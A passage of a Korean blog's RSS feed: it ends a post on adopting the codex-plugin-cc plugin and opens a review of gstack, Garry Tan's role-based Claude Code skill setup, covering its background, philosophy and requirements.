&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 반응들을 종합하면, codex-plugin-cc는 기술적 완성도보다 &lt;b&gt;생태계 전략의 전환점&lt;/b&gt;으로서 의미가 크다. 경쟁사 간 에이전트 협업이 현실화되었고, 앞으로 &quot;어떤 AI를 쓰느냐&quot;보다 &quot;어떤 AI들을 조합하느냐&quot;가 개발 워크플로우의 핵심 질문이 될 가능성이 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt;으로 설치 + 인증 확인. 개인 사이드 프로젝트에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt; 시험.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: adversarial-review와 rescue를 병행 테스트. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort&lt;/code&gt; 옵션별 비용/품질 체감 비교.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;운영 반영 판단&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/codex-plugin-cc/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;오픈 이슈&lt;/a&gt; 해결 추이와 커밋 히스토리를 모니터링한 후 결정. 극초기 프로젝트(2커밋, 10여 이슈 &amp;mdash; 2026-03-31 GitHub API 기준, 변동 가능)이므로 안정성이 검증된 뒤 반영하는 것이 권장된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;마무리&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D8hiL/dJMb990bFiK/EVLCGmYM1xYikRRc8p3mw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D8hiL/dJMb990bFiK/EVLCGmYM1xYikRRc8p3mw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D8hiL/dJMb990bFiK/EVLCGmYM1xYikRRc8p3mw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD8hiL%2FdJMb990bFiK%2FEVLCGmYM1xYikRRc8p3mw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1094&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJdWrm/dJMcajn5S1d/cD26scqOSSZr9z1Lbun2GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJdWrm/dJMcajn5S1d/cD26scqOSSZr9z1Lbun2GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJdWrm/dJMcajn5S1d/cD26scqOSSZr9z1Lbun2GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJdWrm%2FdJMcajn5S1d%2FcD26scqOSSZr9z1Lbun2GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1096&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>AI/Claude</category>
      <category>AI 코드리뷰</category>
      <category>AI에이전트협업</category>
      <category>claude code</category>
      <category>codex-plugin-cc</category>
      <category>openai codex</category>
      <category>OpenAI플러그인</category>
      <category>Review Gate</category>
      <category>코드리뷰자동화</category>
      <category>크로스벤더 AI</category>
      <category>크로스벤더에이전트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/571</guid>
      <comments>https://goddaehee.tistory.com/571#entry571comment</comments>
      <pubDate>Tue, 31 Mar 2026 19:00:09 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - gstack(혼자서 팀처럼 개발하기) 리뷰 : Garry Tan의 Claude Code 셋업을 내 프로젝트에 적용하는 법</title>
      <link>https://goddaehee.tistory.com/570</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2284&quot; data-origin-height=&quot;1444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dluarQ/dJMcagSvDWE/sxB9Qsfa0mLmQgGtTtNpAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dluarQ/dJMcagSvDWE/sxB9Qsfa0mLmQgGtTtNpAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dluarQ/dJMcagSvDWE/sxB9Qsfa0mLmQgGtTtNpAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdluarQ%2FdJMcagSvDWE%2FsxB9Qsfa0mLmQgGtTtNpAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2284&quot; height=&quot;1444&quot; data-origin-width=&quot;2284&quot; data-origin-height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Y Combinator(YC) 사장이자 CEO인 &lt;b&gt;Garry Tan&lt;/b&gt;이 자신의 Claude Code 셋업을 오픈소스로 공개했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이름은 &lt;b&gt;gstack&lt;/b&gt;. CEO, 디자이너, 엔지니어링 매니저, Release Engineer, Doc Engineer, QA 엔지니어 등 역할을 각각 담당하는 AI 에이전트들로 구성된 개발 워크플로우 툴킷이다. 공개 2주 만에 GitHub에서 &lt;b&gt;56,000+개의 스타&lt;/b&gt;(2026-03-30 GitHub API 기준, 지속 증가 중)를 받으며 2026년 가장 빠르게 성장한 개발 도구 중 하나로 자리잡았다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순한 프롬프트 모음집이 아니다. Garry Tan 본인의 표현대로 &lt;b&gt;&quot;That is not a copilot. That is a team.&quot;&lt;/b&gt; &amp;mdash; 각 개발 단계마다 다른 인지 모드를 스위칭하는 구조적 접근법이다. 처음 공개 시 6개 도구였으나 빠르게 성장하여 현재 29개의 스킬을 포함하며, Claude Code뿐 아니라 Codex CLI도 지원하고 SKILL.md 표준을 따르는 Python 에이전트 전반과 호환된다. 이 글에서는 gstack이 무엇인지, 어떻게 셋업하는지, 실제로 어떻게 활용하는지, 그리고 커뮤니티의 찬반 양론까지 살펴본다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;GitHub: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/garrytan/gstack&lt;/a&gt;&lt;br /&gt;Stars: 56,000+ | Forks: 7,300+ (2026-03-30 GitHub API 조회 기준, 실시간 변동) | 언어: TypeScript | 요구사항: Claude Code(또는 Codex CLI) + Git + Bun v1.0+ (Windows는 Node.js 추가 필요)&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Garry Tan은 누구인가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;gstack이란? &amp;mdash; 탄생 배경과 철학
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하네스 엔지니어링 관점에서 본 gstack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;29가지 역할별 에이전트 스킬 해부
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;YC Office Hours &amp;mdash; /office-hours&lt;/li&gt;
&lt;li&gt;CEO 리뷰 모드 &amp;mdash; /plan-ceo-review&lt;/li&gt;
&lt;li&gt;엔지니어링 매니저 모드 &amp;mdash; /plan-eng-review&lt;/li&gt;
&lt;li&gt;디자인 리뷰 &amp;mdash; /plan-design-review, /design-consultation, /design-review&lt;/li&gt;
&lt;li&gt;Staff Engineer 모드 &amp;mdash; /review, /investigate&lt;/li&gt;
&lt;li&gt;Release &amp;amp; Deploy &amp;mdash; /ship, /land-and-deploy, /canary, /benchmark&lt;/li&gt;
&lt;li&gt;QA Engineer &amp;mdash; /browse, /qa, /qa-only&lt;/li&gt;
&lt;li&gt;보안&amp;middot;안전 &amp;mdash; /cso, /careful, /freeze, /guard, /unfreeze&lt;/li&gt;
&lt;li&gt;유틸리티 &amp;mdash; /codex, /retro, /document-release, /gstack-upgrade&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 셋업 방법 (단계별 가이드)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md 및 설정 파일 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Conductor와의 병렬 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;이 방식의 장점과 한계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응 &amp;mdash; 찬사와 논쟁&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용: Codex 리밋 후 gstack + Claude Code 워크플로우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;30분 핵심 튜토리얼: 처음 gstack 써보기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;직접 따라하기 &amp;mdash; 나만의 역할별 에이전트 셋업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 1: Garry Tan 소개 ===== --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Garry Tan은 누구인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Garry Tan&lt;/b&gt;은 현재 &lt;b&gt;Y Combinator(YC)&lt;/b&gt;의 President &amp;amp; CEO를 맡고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;YC는 Airbnb, Dropbox, Stripe, Coinbase, Instacart, Rippling 등 수천 개의 스타트업을 배출한 세계 최고의 스타트업 액셀러레이터다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan은 &lt;b&gt;Palantir의 초기 엔지니어/디자이너&lt;/b&gt;&amp;nbsp;출신이고, Posterous(트위터에 인수)를 창업한 경험이 있으며, YC 내부 SNS인 Bookface를 직접 개발한 실리콘밸리의 핵심 인물이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그는 기술과 제품에 대한 깊은 이해를 바탕으로 직접 코드를 작성하는 CEO로 알려져 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2032014570118922347&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;I've been having such an amazing time with Claude Code I wanted you to be able to have my exact skill setup&quot;(나는&amp;nbsp;Claude&amp;nbsp;Code를&amp;nbsp;사용하면서&amp;nbsp;정말&amp;nbsp;놀라운&amp;nbsp;경험을&amp;nbsp;하고&amp;nbsp;있어서,&amp;nbsp;내가&amp;nbsp;설정해둔&amp;nbsp;동일한&amp;nbsp;skill&amp;nbsp;환경을&amp;nbsp;너도&amp;nbsp;그대로&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;해주고&amp;nbsp;싶었다.)&lt;/a&gt;라며 gstack을 공개했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 그의 CTO 친구가 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2032196172430131498&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;Your gstack is crazy. This is like god mode&quot;&lt;/a&gt;라고 평가하며 바이럴되었다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;왜 CEO가 직접 Claude Code 셋업을 공개하는가?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan은 &quot;AI 코딩 도구를 단순히 사용하는 것&quot;과 &quot;제대로 활용하는 것&quot; 사이에 큰 차이가 있다고 강조한다. gstack은 그가 실제로 YC 포트폴리오 회사들과 함께 일하면서, 그리고 개인 프로젝트를 진행하면서 다듬어온 실전 셋업이다. 단순한 프롬프트 튜닝이 아니라, 개발 프로세스 자체를 구조화하는 방법론이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 2: gstack 소개 ===== --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. gstack이란? &amp;mdash; 탄생 배경과 철학&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 공식 설명은 이렇다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;Use Garry Tan's exact Claude Code setup: &lt;br /&gt;15 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA&lt;br /&gt;&lt;br /&gt;(Garry&amp;nbsp;Tan의&amp;nbsp;Claude&amp;nbsp;Code&amp;nbsp;설정을&amp;nbsp;그대로&amp;nbsp;사용하라:&amp;nbsp;&lt;br /&gt;CEO,&amp;nbsp;Designer,&amp;nbsp;Engineering&amp;nbsp;Manager,&amp;nbsp;Release&amp;nbsp;Manager,&amp;nbsp;Documentation&amp;nbsp;Engineer,&amp;nbsp;QA&amp;nbsp;역할을&amp;nbsp;수행하는&amp;nbsp;강하게&amp;nbsp;의견이&amp;nbsp;반영된(opinionated)&amp;nbsp;15개의&amp;nbsp;도구(tool)&amp;nbsp;구성)&quot;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub repo description&lt;/a&gt;&amp;nbsp;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 철학은 한 문장으로 요약된다:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2552&quot; data-origin-height=&quot;1392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btS48q/dJMcaaxZGfA/HgvBqM39BxbYodu8PuwPyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btS48q/dJMcaaxZGfA/HgvBqM39BxbYodu8PuwPyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btS48q/dJMcaaxZGfA/HgvBqM39BxbYodu8PuwPyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtS48q%2FdJMcaaxZGfA%2FHgvBqM39BxbYodu8PuwPyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2552&quot; height=&quot;1392&quot; data-origin-width=&quot;2552&quot; data-origin-height=&quot;1392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border: 1px solid #cce5ff; margin: 20px 0; text-align: center;&quot;&gt;
&lt;p style=&quot;font-size: 18px; color: #1a3a52; margin: 0;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&quot;Planning is not review. Review is not shipping. Founder taste is not engineering rigor.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #666; margin-top: 10px; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;기획은 리뷰가 아니다. 리뷰는 배포가 아니다. 창업자의 감각은 엔지니어링의 엄밀함이 아니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 철학이 왜 중요한가?&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;많은 개발자들이 Claude Code(또는 다른 AI 코딩 어시스턴트)를 &quot;만능 도구&quot;처럼 사용한다. 기획, 코딩, 리뷰, 배포를 모두 같은 대화 창에서, 같은 프롬프트 스타일로 요청한다. 결과는 &quot;어중간하게 다 하는&quot; 범용 응답이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 이를 거부한다. 각 개발 단계마다 &lt;b&gt;다른 인지 모드&lt;/b&gt;가 필요하다는 것을 인식하고, 명시적으로 모드를 스위칭하는 구조를 만든다. CEO처럼 10배 더 나은 제품을 상상할 때와, Staff Engineer처럼 프로덕션 버그를 사냥할 때는 다른 사고방식이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술 스택과 요구사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;: Anthropic의 AI 코딩 어시스턴트 (필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Git&lt;/b&gt;: 버전 관리 (필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Bun v1.0+&lt;/b&gt;: JavaScript 런타임 &amp;mdash; /browse 스킬의 브라우저 바이너리 컴파일에 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;macOS 또는 Linux&lt;/b&gt; (x64/arm64): /browse 스킬 지원 환경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Conductor&lt;/b&gt; (선택): 병렬 Claude Code 세션 관리 (10개 동시 실행 시)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 2.5: 하네스 엔지니어링 관점에서 본 gstack ===== --&gt;
&lt;h3 id=&quot;section2-harness&quot; style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;하네스 엔지니어링 관점에서 본 gstack&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B1Nn7/dJMcab4ITyH/mVVCn8bfkWOtAfZShlI6Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B1Nn7/dJMcab4ITyH/mVVCn8bfkWOtAfZShlI6Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B1Nn7/dJMcab4ITyH/mVVCn8bfkWOtAfZShlI6Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB1Nn7%2FdJMcab4ITyH%2FmVVCn8bfkWOtAfZShlI6Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2026&quot; height=&quot;1106&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack을 &quot;프롬프트 모음집&quot;으로 보는 시각이 있다. 하지만 2026년 양대 AI 회사가 한 달 간격으로 발표한 공식 블로그 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI &quot;Harness Engineering&quot;&lt;/a&gt;(2026-02-11)과 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic &quot;Harness Design for Long-Running Apps&quot;&lt;/a&gt;(2026-03-24) &amp;mdash; 의 프레임으로 보면 전혀 다른 그림이 나온다. &lt;b&gt;gstack은 개인 개발자를 위한 하네스(harness)다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하네스란 프롬프트보다 넓은 개념이다. 에이전트가 작동하는 &lt;b&gt;환경 전체&lt;/b&gt; &amp;mdash; 운영 규칙, 역할 분리 구조, 검증 루프, 안전 가드레일 &amp;mdash; 를 포함한다. gstack의 구성 요소를 하네스 엔지니어링 원칙에 매핑하면 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 28%;&quot;&gt;하네스 엔지니어링 원칙&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 28%;&quot;&gt;gstack 구현&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 44%;&quot;&gt;참조&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;환경 설계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md의 gstack 섹션 &amp;mdash; 세션 시작 시 항상 로드되는 운영 규칙. 사용 도구와 스킬 목록을 명시&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;OpenAI: &quot;에이전트가 접근할 수 없는 것은 존재하지 않는 것과 같다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;역할 분리&lt;/b&gt;&lt;/td&gt;
